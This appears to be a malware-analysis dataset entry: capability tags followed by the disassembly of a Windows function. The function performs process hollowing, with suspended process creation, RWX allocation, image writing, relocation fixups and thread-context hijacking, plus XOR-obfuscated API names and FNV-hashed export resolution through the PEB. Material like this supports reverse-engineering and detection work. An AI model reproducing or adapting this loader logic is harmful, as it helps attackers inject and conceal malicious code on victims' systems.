Function at 0x14000b490
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports
Resume thread
Use process replacement

Disassembly:
push rbp
push rbx
push rdi
push r14
push r15
lea rbp, [rsp - 0x4e0]
sub rsp, 0x5e0
mov rax, qword [0x1401925c0]
xor rax, rsp
mov qword [rbp + 0x4b0], rax
mov rbx, rcx
mov rdi, rdx
mov ecx, 0x68
call fcn.1400ad0d0
xor r15d, r15d
mov qword [rsp + 0x70], rax
mov r14, rax
test rax, rax
je 0x14000b500
xorps xmm0, xmm0
xor eax, eax
movups xmmword [r14], xmm0
movups xmmword [r14 + 0x10], xmm0
movups xmmword [r14 + 0x20], xmm0
movups xmmword [r14 + 0x30], xmm0
movups xmmword [r14 + 0x40], xmm0
movups xmmword [r14 + 0x50], xmm0
mov qword [r14 + 0x60], rax
jmp 0x14000b508
mov r14, r15
mov qword [rsp + 0x70], r15
cmp qword [rbx + 0x18], 0xf
jbe 0x14000b512
mov rbx, qword [rbx]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x620], rsi
mov qword [rsp + 0x48], rax
xor r9d, r9d
mov qword [rsp + 0x40], r14
xor r8d, r8d
mov qword [rsp + 0x38], r15
mov rdx, rbx
mov qword [rsp + 0x30], r15
xor ecx, ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x5d8], r12
mov dword [rsp + 0x20], r15d
mov qword [rsp + 0x5d0], r13
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000bbad
mov eax, dword [rdi + 8]
sub eax, dword [rdi]
mov ecx, eax
mov ebx, eax
call fcn.1400ad114
mov rdx, qword [rdi]
mov r8d, ebx
mov rcx, rax
mov qword [rsp + 0x60], rax
mov rsi, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp - 0x40]
lea rdx, [rbp - 0x30]
mov dword [rbp], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14000bbad
mov rdx, qword [rbp + 0x58]
lea r8, [rbp - 0x50]
mov rcx, qword [rbp - 0x48]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [str.ZAR_T9]
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], eax
movzx eax, word [0x14011f0a8]
xor byte [rsp + 0x51], 0x35
xor byte [rsp + 0x52], 0x36
xor byte [rsp + 0x53], 0x37
mov word [rsp + 0x54], ax
xor al, 0x38
xor byte [rsp + 0x55], 0x39
mov byte [rsp + 0x54], al
mov byte [rsp + 0x50], WSASetLastError
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp dword [reloc.WS2_32.dll_accept], 2
mov r8d, r15d
mov ecx, dword [0x14011f0c0]
mov r10, rax
movups xmm0, xmmword [str.zAcYUXJmUXIp]
mov dword [rbp - 0x78], ecx
movzx ecx, byte [0x14011f0c4]
movups xmmword [rsp + 0x78], xmm0
mov byte [rbp - 0x74], cl
jl 0x14000b788
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rsp + 0x7c]
movdqa xmm5, xmmword [0x14011f4e0]
movdqa xmm4, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
movaps xmmword [rsp + 0x5c0], xmm6
movdqa xmm6, xmmword [0x14011f500]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f510]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f510]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x14000b671
movaps xmm6, xmmword [rsp + 0x5c0]
cmp r8d, 0x15
jge 0x14000b7d4
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x14000b7a0
lea rdx, [rsp + 0x78]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x48]
call rax
test eax, eax
jne 0x14000bbad
movsxd r15, dword [rsi + 0x3c]
mov r9d, 0x3000
mov rdx, qword [rbp - 0x50]
add r15, rsi
mov rcx, qword [rbp - 0x48]
mov qword [rbp - 0x68], r15
mov dword [rsp + 0x20], 0x40
mov r8d, dword [r15 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rbp - 0x50]
mov r8, rsi
mov r9d, dword [r15 + 0x54]
mov r13, rcx
sub r13, qword [r15 + 0x30]
mov r12, rax
mov qword [r15 + 0x30], rcx
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x48]
mov qword [rbp - 0x60], rax
xor eax, eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000bbad
movzx eax, word [r15 + 6]
xor ecx, ecx
mov ebx, ecx
cmp cx, ax
jae 0x14000b8bf
mov edi, ecx
nop dword [rax]
movsxd rax, dword [rsi + 0x3c]
add rax, rdi
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp - 0x48]
mov r8d, dword [rax + rsi + 0x11c]
mov edx, dword [rax + rsi + 0x114]
add r8, rsi
mov r9d, dword [rax + rsi + 0x118]
add rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000bbad
movzx eax, word [r15 + 6]
inc ebx
add rdi, 0x28
mov ecx, 0
cmp ebx, eax
jl 0x14000b870
test r13, r13
je 0x14000ba7f
mov dword [rsp + 0x58], ecx
cmp cx, ax
jae 0x14000ba7f
movzx edi, byte [0x14011f0ce]
mov rdx, rcx
movzx r12d, word [0x14011f0cc]
mov qword [rsp + 0x68], rcx
nop dword [rax]
mov eax, dword [str..reloc]
mov r8, 0xffffffffffffffff
movsxd rbx, dword [rsi + 0x3c]
mov dword [rbp + 0x4a8], eax
add rbx, rdx
lea rax, [rbp + 0x4a8]
mov word [rbp + 0x4ac], r12w
mov byte [rbp + 0x4ae], dil
inc r8
cmp byte [rax + r8], 0
jne 0x14000b920
lea rcx, [rsi + 0x108]
add rcx, rbx
lea rdx, [rbp + 0x4a8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000ba51
mov rax, qword [r15 + 0xb0]
xor r8d, r8d
mov ecx, dword [rbx + rsi + 0x11c]
mov r14d, r8d
mov qword [rbp - 0x70], rax
shr rax, 0x20
mov dword [rsp + 0x50], ecx
test eax, eax
je 0x14000ba51
lea r12d, [r14 + rcx]
add r14d, 8
add r12, rsi
lea eax, [r14 + rcx]
mov r15d, dword [r12 + 4]
sub r15, 8
mov edi, eax
add rdi, rsi
shr r15, 1
mov esi, r8d
test r15d, r15d
je 0x14000ba2f
mov ecx, 0x1000
movzx eax, word [rdi]
add r14d, 2
cmp ax, cx
jb 0x14000ba1c
mov rdx, qword [rbp - 0x50]
and eax, 0xfff
add eax, dword [r12]
mov r9d, 8
mov rcx, qword [rbp - 0x48]
mov ebx, eax
mov qword [rbp + 0x4a0], r8
add rdx, rbx
mov qword [rsp + 0x20], r8
lea r8, [rbp + 0x4a0]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [rbp - 0x50]
lea r8, [rbp + 0x4a0]
mov rcx, qword [rbp - 0x48]
xor eax, eax
add qword [rbp + 0x4a0], r13
add rdx, rbx
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000bbad
xor r8d, r8d
mov ecx, 0x1000
inc esi
add rdi, 2
cmp esi, r15d
jb 0x14000b9a1
mov ecx, dword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
cmp r14d, dword [rbp - 0x6c]
jb 0x14000b970
movzx edi, byte [0x14011f0ce]
movzx r12d, word [0x14011f0cc]
mov r15, qword [rbp - 0x68]
mov ecx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
inc ecx
movzx eax, word [r15 + 6]
add rdx, 0x28
mov dword [rsp + 0x58], ecx
mov qword [rsp + 0x68], rdx
cmp ecx, eax
jl 0x14000b8f0
mov r14, qword [rsp + 0x70]
mov r12, qword [rbp - 0x60]
mov rdx, qword [rbp + 0x58]
lea r8, [r15 + 0x30]
mov rcx, qword [rbp - 0x48]
xor eax, eax
add rdx, 0x10
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [r15 + 0x28]
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp - 0x40]
add rax, r12
mov qword [rbp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x14000bbad
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
je 0x14000bbad
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.1400ad10c
mov edx, 0x68
mov rcx, r14
call fcn.1400ad10c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14000bb85
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14000bb85
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14000bb80
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x14000bb60
cmp edx, 0xcded1a85
je 0x14000bb8a
test r9d, r9d
jne 0x14000bb40
mov rax, qword [rax]
jmp 0x14000bb10
mov eax, dword [rbx + 0x24]
mov ecx, 0xffffffff
mov edx, dword [rbx + 0x1c]
add rax, r10
add rdx, r10
movzx r8d, word [rax + r9*2]
mov eax, dword [rdx + r8*4]
add rax, r10
call rax
mov al, 1
jmp 0x14000bbaf
xor al, al
mov r13, qword [rsp + 0x5d0]
mov r12, qword [rsp + 0x5d8]
mov rsi, qword [rsp + 0x620]
mov rcx, qword [rbp + 0x4b0]
xor rcx, rsp
call fcn.1400ad0b0
add rsp, 0x5e0
pop r15
pop r14
pop rdi
pop rbx
pop rbp
ret